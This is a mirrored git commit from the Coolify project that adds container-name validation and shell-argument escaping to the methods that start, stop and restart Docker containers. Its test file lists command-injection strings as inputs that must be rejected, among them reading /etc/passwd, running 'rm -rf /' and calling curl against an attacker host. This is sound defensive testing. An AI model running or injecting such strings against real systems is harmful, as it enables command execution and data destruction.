mirror of
https://github.com/coollabsio/coolify.git
synced 2026-06-19 07:35:25 +00:00
fix(livewire): add input validation to unmanaged container operations
Add container name validation and shell argument escaping to startUnmanaged, stopUnmanaged, restartUnmanaged, and restartContainer methods, consistent with existing patterns used elsewhere in the codebase. Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
This commit is contained in:
@@ -3,6 +3,7 @@
|
||||
namespace App\Livewire\Server;
|
||||
|
||||
use App\Models\Server;
|
||||
use App\Support\ValidationPatterns;
|
||||
use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
|
||||
use Livewire\Component;
|
||||
|
||||
@@ -29,6 +30,11 @@ class Resources extends Component
|
||||
|
||||
public function startUnmanaged($id)
|
||||
{
|
||||
if (! ValidationPatterns::isValidContainerName($id)) {
|
||||
$this->dispatch('error', 'Invalid container identifier.');
|
||||
|
||||
return;
|
||||
}
|
||||
$this->server->startUnmanaged($id);
|
||||
$this->dispatch('success', 'Container started.');
|
||||
$this->loadUnmanagedContainers();
|
||||
@@ -36,6 +42,11 @@ class Resources extends Component
|
||||
|
||||
public function restartUnmanaged($id)
|
||||
{
|
||||
if (! ValidationPatterns::isValidContainerName($id)) {
|
||||
$this->dispatch('error', 'Invalid container identifier.');
|
||||
|
||||
return;
|
||||
}
|
||||
$this->server->restartUnmanaged($id);
|
||||
$this->dispatch('success', 'Container restarted.');
|
||||
$this->loadUnmanagedContainers();
|
||||
@@ -43,6 +54,11 @@ class Resources extends Component
|
||||
|
||||
public function stopUnmanaged($id)
|
||||
{
|
||||
if (! ValidationPatterns::isValidContainerName($id)) {
|
||||
$this->dispatch('error', 'Invalid container identifier.');
|
||||
|
||||
return;
|
||||
}
|
||||
$this->server->stopUnmanaged($id);
|
||||
$this->dispatch('success', 'Container stopped.');
|
||||
$this->loadUnmanagedContainers();
|
||||
|
||||
@@ -11,7 +11,9 @@ use App\Enums\ProxyTypes;
|
||||
use App\Events\ServerReachabilityChanged;
|
||||
use App\Helpers\SslHelper;
|
||||
use App\Jobs\CheckAndStartSentinelJob;
|
||||
use App\Jobs\CheckTraefikVersionForServerJob;
|
||||
use App\Jobs\RegenerateSslCertJob;
|
||||
use App\Livewire\Server\Proxy;
|
||||
use App\Notifications\Server\Reachable;
|
||||
use App\Notifications\Server\Unreachable;
|
||||
use App\Services\ConfigurationRepository;
|
||||
@@ -77,8 +79,8 @@ use Visus\Cuid2\Cuid2;
|
||||
* - Traefik image uses the 'latest' tag (no fixed version tracking)
|
||||
* - No Traefik version detected on the server
|
||||
*
|
||||
* @see \App\Jobs\CheckTraefikVersionForServerJob Where this data is populated
|
||||
* @see \App\Livewire\Server\Proxy Where this data is read and displayed
|
||||
* @see CheckTraefikVersionForServerJob Where this data is populated
|
||||
* @see Proxy Where this data is read and displayed
|
||||
*/
|
||||
#[OA\Schema(
|
||||
description: 'Server model',
|
||||
@@ -719,17 +721,17 @@ $schema://$host {
|
||||
|
||||
public function stopUnmanaged($id)
|
||||
{
|
||||
return instant_remote_process(["docker stop -t 0 $id"], $this);
|
||||
return instant_remote_process(['docker stop -t 0 '.escapeshellarg($id)], $this);
|
||||
}
|
||||
|
||||
public function restartUnmanaged($id)
|
||||
{
|
||||
return instant_remote_process(["docker restart $id"], $this);
|
||||
return instant_remote_process(['docker restart '.escapeshellarg($id)], $this);
|
||||
}
|
||||
|
||||
public function startUnmanaged($id)
|
||||
{
|
||||
return instant_remote_process(["docker start $id"], $this);
|
||||
return instant_remote_process(['docker start '.escapeshellarg($id)], $this);
|
||||
}
|
||||
|
||||
public function getContainers()
|
||||
@@ -1460,7 +1462,7 @@ $schema://$host {
|
||||
|
||||
public function restartContainer(string $containerName)
|
||||
{
|
||||
return instant_remote_process(['docker restart '.$containerName], $this, false);
|
||||
return instant_remote_process(['docker restart '.escapeshellarg($containerName)], $this, false);
|
||||
}
|
||||
|
||||
public function changeProxy(string $proxyType, bool $async = true)
|
||||
|
||||
@@ -0,0 +1,28 @@
|
||||
<?php
|
||||
|
||||
use App\Support\ValidationPatterns;
|
||||
|
||||
it('rejects container IDs with command injection characters', function (string $id) {
|
||||
expect(ValidationPatterns::isValidContainerName($id))->toBeFalse();
|
||||
})->with([
|
||||
'semicolon injection' => 'x; id > /tmp/pwned',
|
||||
'pipe injection' => 'x | cat /etc/passwd',
|
||||
'command substitution backtick' => 'x`whoami`',
|
||||
'command substitution dollar' => 'x$(whoami)',
|
||||
'ampersand background' => 'x & rm -rf /',
|
||||
'double ampersand' => 'x && curl attacker.com',
|
||||
'newline injection' => "x\nid",
|
||||
'space injection' => 'x id',
|
||||
'redirect output' => 'x > /tmp/pwned',
|
||||
'redirect input' => 'x < /etc/passwd',
|
||||
]);
|
||||
|
||||
it('accepts valid Docker container IDs', function (string $id) {
|
||||
expect(ValidationPatterns::isValidContainerName($id))->toBeTrue();
|
||||
})->with([
|
||||
'short hex id' => 'abc123def456',
|
||||
'full sha256 id' => 'a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2',
|
||||
'container name' => 'my-container',
|
||||
'name with dots' => 'my.container.name',
|
||||
'name with underscores' => 'my_container_name',
|
||||
]);
|
||||
Reference in New Issue
Block a user